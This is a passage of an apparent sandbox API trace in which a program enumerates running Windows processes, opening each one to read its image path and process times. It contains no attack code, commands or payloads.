cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.478] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x170) returned 0x100 [0238.479] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.479] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x179188) returned 1 [0238.479] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\wininit.exe" | out: _Dest="C:\\Windows\\System32\\wininit.exe") returned="C:\\Windows\\System32\\wininit.exe" [0238.479] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.479] CloseHandle (hObject=0x100) returned 1 [0238.479] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x100 [0238.480] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.480] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x179188) returned 1 [0238.480] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\csrss.exe" | out: _Dest="C:\\Windows\\System32\\csrss.exe") returned="C:\\Windows\\System32\\csrss.exe" [0238.480] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.480] CloseHandle (hObject=0x100) returned 1 [0238.480] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.481] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1a4) returned 0x100 [0238.481] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.481] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x179188) returned 1 [0238.481] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\winlogon.exe" | out: _Dest="C:\\Windows\\System32\\winlogon.exe") returned="C:\\Windows\\System32\\winlogon.exe" [0238.481] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.482] CloseHandle (hObject=0x100) returned 1 [0238.482] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.482] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x100 [0238.482] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.482] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\services.exe", lpdwSize=0x179188) returned 1 [0238.483] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\services.exe" | out: _Dest="C:\\Windows\\System32\\services.exe") returned="C:\\Windows\\System32\\services.exe" [0238.483] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.483] CloseHandle (hObject=0x100) returned 1 [0238.483] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.484] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x100 [0238.484] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.484] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\lsass.exe", lpdwSize=0x179188) returned 1 [0238.484] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\lsass.exe" | out: _Dest="C:\\Windows\\System32\\lsass.exe") returned="C:\\Windows\\System32\\lsass.exe" [0238.484] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.484] CloseHandle (hObject=0x100) returned 1 [0238.484] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0238.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e0) returned 0x100 [0238.485] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.485] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x179188) returned 1 [0238.485] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\lsm.exe" | out: _Dest="C:\\Windows\\System32\\lsm.exe") returned="C:\\Windows\\System32\\lsm.exe" [0238.485] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.485] CloseHandle (hObject=0x100) returned 1 [0238.485] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.486] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0x100 [0238.486] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.488] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.488] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.488] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.488] CloseHandle (hObject=0x100) returned 1 [0238.488] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.489] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x288) returned 0x100 [0238.489] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.490] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.490] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.490] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.490] CloseHandle (hObject=0x100) returned 1 [0238.490] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.491] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2b8) returned 0x100 [0238.491] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.493] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.494] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.494] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.494] CloseHandle (hObject=0x100) returned 1 [0238.494] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.494] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x308) returned 0x100 [0238.494] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.495] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.495] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.495] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.495] CloseHandle (hObject=0x100) returned 1 [0238.495] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x100 [0238.496] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.496] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.496] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.496] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.496] CloseHandle (hObject=0x100) returned 1 [0238.496] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ec) returned 0x100 [0238.510] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.512] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.512] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.512] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.512] CloseHandle (hObject=0x100) returned 1 [0238.512] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.513] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x330) returned 0x100 [0238.513] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.514] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.514] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.514] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.514] CloseHandle (hObject=0x100) returned 1 [0238.514] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.514] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x100 [0238.515] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.515] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x179188) returned 1 [0238.515] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\dwm.exe" | out: _Dest="C:\\Windows\\System32\\dwm.exe") returned="C:\\Windows\\System32\\dwm.exe" [0238.515] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.515] CloseHandle (hObject=0x100) returned 1 [0238.515] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x430, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.516] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x100 [0238.516] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.516] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x179188) returned 1 [0238.516] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\explorer.exe" | out: _Dest="C:\\Windows\\explorer.exe") returned="C:\\Windows\\explorer.exe" [0238.516] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.516] CloseHandle (hObject=0x100) returned 1 [0238.516] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.517] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48c) returned 0x100 [0238.517] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.519] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\spoolsv.exe", lpdwSize=0x179188) returned 1 [0238.519] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\spoolsv.exe" | out: _Dest="C:\\Windows\\System32\\spoolsv.exe") returned="C:\\Windows\\System32\\spoolsv.exe" [0238.519] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.519] CloseHandle (hObject=0x100) returned 1 [0238.519] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0238.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4b0) returned 0x100 [0238.520] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.522] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x179188) returned 1 [0238.522] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\taskhost.exe" | out: _Dest="C:\\Windows\\System32\\taskhost.exe") returned="C:\\Windows\\System32\\taskhost.exe" [0238.522] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.522] CloseHandle (hObject=0x100) returned 1 [0238.522] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.523] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4c8) returned 0x100 [0238.523] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.525] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.525] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.525] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.525] CloseHandle (hObject=0x100) returned 1 [0238.525] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0238.526] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c4) returned 0x100 [0238.526] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.529] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", lpdwSize=0x179188) returned 1 [0238.529] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" | out: _Dest="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" [0238.529] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.529] CloseHandle (hObject=0x100) returned 1 [0238.529] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.530] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b4) returned 0x100 [0238.530] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.530] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x179188) returned 1 [0238.531] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" | out: _Dest="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") returned="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe" [0238.531] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.531] CloseHandle (hObject=0x100) returned 1 [0238.531] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.531] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x100 [0238.531] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0238.532] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0238.532] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.532] CloseHandle (hObject=0x100) returned 1 [0238.532] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.532] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x22c) returned 0x100 [0238.533] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.534] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x179188) returned 1 [0238.534] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\svchost.exe" | out: _Dest="C:\\Windows\\System32\\svchost.exe") returned="C:\\Windows\\System32\\svchost.exe" [0238.534] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 